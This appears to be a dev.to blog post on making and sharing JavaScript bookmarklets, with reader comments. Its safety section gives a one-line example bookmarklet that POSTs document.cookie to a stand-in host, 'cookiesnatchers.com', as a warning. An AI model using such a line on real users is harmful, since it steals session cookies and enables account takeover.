On bookmarklets and how to make them

Bookmarklets are bookmarks which execute javascript instead of opening a new page. They are available in almost every browser, including Chrome, Firefox and most Chromium based browsers

They are pretty easy to make, and can do almost everything, including injecting other scripts, interacting with the DOM, and absolutely everything you can do with JavaScript.

How to make a bookmarklet

That's pretty easy, just create a bookmark (using whatever method your browser has) with the following content:

javascript:(() => {/* Your code goes here */})();

The javascript: part tells the browser that the bookmark is actually javascript which is to be executed.

The rest of the code is executed as normal, but you can make it an IIFE (Immediately-Invoked Function Expression) so that you don't accidentally overwrite any variables already defined. The code can be whatever you like, but on some sites (like GitHub) some action may be blocked (like injecting scripts)

I can't inject jQuery!!

Another neat trick is that if you make the bookmarklet return any HTML, the content of the current page will be overwritten with the HTML! (which is perfect if you want a random xkcd fetcher)

Sharing bookmarklets

It's pretty annoying to have to copy the code for a bookmarklet if you want to use it yourself, right!

Well,

• Bookmarklets are just URLs
• URLs can be added to the href of a link
• A link can be bookmarked (right click or drag to bookmarks bar)

So, if you want to put a shareable bookmark on a website, just make an <a> element with the href set to whatever code

<a href="javascript:(()=>{alert('Hello, World!'); })();">Bookmark me</a>

Unfortunately, I can't seem to be able to add bookmarklets over here, so here's a pen with the output:

Here's some more bookmarklets which you could use:

Safety

Bookmarklets are equal to running scripts on a page, so you have to be really careful with them.

For example, this bookmarklet could easily read cookies and post them somewhere:

javascript:(() => fetch('http://cookiesnatchers.com?cookie=' + document.cookie, {method:'POST'})();

Once again, you have to be really careful about what bookmarklets do.

Thanks for reading! If you have any nice bookmarklets, please share them down below!

Comments

[GrahamTheDev]

Ah another opportunity to shamelessly self promote my bookmarklets 😂.

Weird that two people wrote about bookmarklets on the same day and both of you encouraged sharing bookmarklets you have made!

My dev.to editor (WIP)

7 new features, 51.3 new bugs added 😋, the DEV.TO 👩‍💻👨‍💻 editor [PART DEUX!]

InHuOfficial ・ Apr 7 ・ 8 min read

#javascript #showdev #webdev #productivity

My "click to tweet" button creator

Do you want more 📈 shares on your dev.to articles❓ Add a fancy "click to tweet" button to your posts in just one click!

InHuOfficial ・ Jun 20 ・ 11 min read

#showdev #webdev #javascript #productivity

[Siddharth]

Nice! I really need that dev editor update

[GrahamTheDev]

Yeah I know, it would make life a lot easier! ❤️

[vij4yd]

I am not a developer. just have some basic javascript knowledge. stuff like document.getElementbyxx("xx").action or .value= 'xx'...

I have been using bookmarklets for 10+ years now. recently in one of my projects i encountered pages where bookmarklets don't work. Found out that it's because it's React js generated content on the page.

Do you know how to get this to work on such pages?

[Siddharth]

I don't see how react can affect a bookmarklet
Could you share the site/bookmarklet? Then I might be able to take a look into it.

[Siddharth]

I just made a Markdown Editor (which is a Textarea Improver for now), and at the end of the post I also provide a bookmarklet which does so to every textarea (Works on DEV too!)

Let's build a Markdown Editor!

Siddharth ・ Jun 28 ・ 4 min read

#html #css #javascript #tutorial